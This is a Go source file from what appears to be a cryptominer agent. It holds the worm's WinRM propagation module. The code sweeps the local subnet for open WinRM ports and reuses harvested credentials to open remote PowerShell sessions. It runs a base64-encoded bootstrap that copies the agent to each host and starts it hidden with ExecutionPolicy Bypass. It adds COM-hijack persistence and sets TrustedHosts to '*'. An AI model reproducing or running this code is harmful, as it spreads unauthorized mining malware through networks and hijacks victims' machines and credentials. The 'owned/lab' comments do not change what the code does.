Files
AetherForge/agent/deploy/winrm_bootstrap.go

129 lines
3.6 KiB
Go

//go:build windows
package deploy
import (
"encoding/base64"
"fmt"
"log"
"os"
"strings"
"time"
"unicode/utf16"
"crypto-miner-agent/config"
)
// attemptWinRMSpread deploys via WinRM session + encoded bootstrap (owned/lab).
func attemptWinRMSpread(cfg config.RuntimeConfig, target string) {
if !portOpen(target, 5985, 1500*time.Millisecond) && !portOpen(target, 5986, 1500*time.Millisecond) {
recordSpreadAttempt(target, false, "winrm port closed")
return
}
exePath, err := os.Executable()
if err != nil {
recordSpreadAttempt(target, false, "executable path unavailable")
return
}
destName := sharePayloadName(cfg)
script := fmt.Sprintf(`
$dest = Join-Path $env:TEMP '%s'
Copy-Item -LiteralPath '%s' -Destination $dest -Force -EA SilentlyContinue
if (Test-Path $dest) {
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden -EA SilentlyContinue
}
`, destName, strings.ReplaceAll(exePath, `'`, `''`))
encoded := encodePowerShell(script)
var credSession SpreadCredSession
ps := fmt.Sprintf(`
$s = New-PSSession -ComputerName '%s' -EA SilentlyContinue
if ($s) {
Invoke-Command -Session $s -EncodedCommand '%s' -EA SilentlyContinue
Remove-PSSession $s -EA SilentlyContinue
}
`, target, encoded)
if session, ok := acquireSpreadCred(target, "winrm_encoded"); ok {
credSession = session
ps = winRMCredPSBlock(target, session, fmt.Sprintf("powershell -EncodedCommand '%s'", encoded))
}
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
log.Printf("[autospread] WinRM encoded bootstrap succeeded on %s", target)
recordSpreadAttempt(target, true, "")
reportSpreadCredEdge(target, "winrm_encoded", credSession, true)
if cfg.COMHijackPersist {
_ = applyCOMHijackPersistence(exePath)
}
return
}
recordSpreadAttempt(target, false, "winrm invoke failed")
reportSpreadCredEdge(target, "winrm_encoded", credSession, false)
}
func encodePowerShell(script string) string {
utf16le := utf16.Encode([]rune(script))
buf := make([]byte, len(utf16le)*2)
for i, r := range utf16le {
buf[i*2] = byte(r)
buf[i*2+1] = byte(r >> 8)
}
return base64.StdEncoding.EncodeToString(buf)
}
// spreadViaWinRM sweeps local /24 for WinRM-open hosts when WinRMSpread or AutoSpread is enabled.
func spreadViaWinRM(cfg config.RuntimeConfig) {
if !cfg.WinRMSpread && !cfg.AutoSpread {
return
}
localIPs := getLocalIPs()
var targets []string
localSet := make(map[string]bool)
for _, ip := range localIPs {
localSet[ip] = true
}
for _, ip := range localIPs {
if !isIPv4(ip) {
continue
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255; i++ {
candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if localSet[candidate] {
continue
}
if portOpen(candidate, 5985, 400*time.Millisecond) || portOpen(candidate, 5986, 400*time.Millisecond) {
targets = append(targets, candidate)
}
}
}
beginSpreadSweep("winrm_encoded", len(targets))
if len(targets) == 0 {
finishSpreadSweepImmediate()
return
}
for _, target := range targets {
t := target
spreadSem <- struct{}{}
go func() {
defer func() { <-spreadSem }()
attemptWinRMSpread(cfg, t)
}()
}
}
// EnableLocalPSRemoting prepares this host for WinRM bootstrap templates (owned machines).
func EnableLocalPSRemoting() error {
ps := `Enable-PSRemoting -Force -SkipNetworkProfileCheck; Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force`
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", ps)
}